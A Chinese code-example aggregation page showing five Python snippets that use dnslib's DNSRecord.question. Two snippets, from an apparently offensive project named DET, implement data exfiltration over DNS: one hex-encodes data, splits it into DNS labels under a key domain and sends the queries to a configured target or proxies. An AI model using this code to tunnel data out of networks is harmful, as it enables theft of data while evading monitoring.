当前位置: 首页>>代码示例>>Python>>正文


Python DNSRecord.question方法代码示例

本文整理汇总了Python中dnslib.DNSRecord.question方法的典型用法代码示例。如果您正苦于以下问题:Python DNSRecord.question方法的具体用法?Python DNSRecord.question怎么用?Python DNSRecord.question使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在dnslib.DNSRecord的用法示例。


在下文中一共展示了DNSRecord.question方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: getRecord

# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def getRecord(host, query):
    d = DNSRecord.question(query, "A")
    check, responce = queryNode(d.pack(), (host, 53))
    try:
        record = DNSRecord.parse(responce)
        return record
    except DNSError, e:
        return False
开发者ID:rickyrem,项目名称:diagnostics,代码行数:10,代码来源:check_dns_servers.py

示例2: relay_dns_query

# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def relay_dns_query(domain):
    target = config['target']
    port = config['port']
    app_exfiltrate.log_message(
            'info', "[proxy] [dns] Relaying dns query to {0}".format(target))
    q = DNSRecord.question(domain)
    try:
        q.send(target, port, timeout=0.01)
    except:
        pass
开发者ID:PaulSec,项目名称:DET,代码行数:12,代码来源:dns.py

示例3: send

# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def send(data):
    if config.has_key('proxies') and config['proxies'] != [""]:
        targets = [config['target']] + config['proxies']
    else:
        targets = [config['target']]
    port = config['port']
    jobid = data.split("|!|")[0]
    data = data.encode('hex')
    domain = ""

    #Calculate the remaining length available for our payload
    rem = 252 - len(config['key'])
    #Number of 63 bytes labels
    no_labels = rem / 64 #( 63 + len('.') )
    #Length of the last remaining label
    last_label_len = (rem % 64) - 1

    while data != "":
        data = jobid + data
        for i in range(0, no_labels):
            if data == "": break
            label = data[:63]
            data = data[63:]
            domain += label + '.'
        if data == "":
            domain += config['key']
        else:
            if last_label_len < 1:
                domain += config['key']
            else:
                label = data[:last_label_len]
                data = data[last_label_len:]
                domain += label + '.' + config['key']
        q = DNSRecord.question(domain)
        domain = ""
        target = choice(targets)
        try:
            q.send(target, port, timeout=0.01)
        except:
            # app_exfiltrate.log_message('warning', "[dns] Failed to send DNS request")
            pass
开发者ID:PaulSec,项目名称:DET,代码行数:43,代码来源:dns.py

示例4: send_test_query_public

# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def send_test_query_public(port):
    # Request the v6 address of google.com
    req = DNSRecord.question("google.com", qtype="A")

    print("Issuing client request (public)...")
    send_req_and_print_resp(req.pack(), port)
开发者ID:bduddie,项目名称:cs538-project,代码行数:8,代码来源:sdns-proxy.py

示例5: send_test_query_sdns

# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def send_test_query_sdns(port):
    req = DNSRecord.question("xyzmail.sec.mycompany.com", qtype="A")

    print("\nIssuing client request (sdns)...")
    send_req_and_print_resp(req.pack(), port)
开发者ID:bduddie,项目名称:cs538-project,代码行数:7,代码来源:sdns-proxy.py


注:本文中的dnslib.DNSRecord.question方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。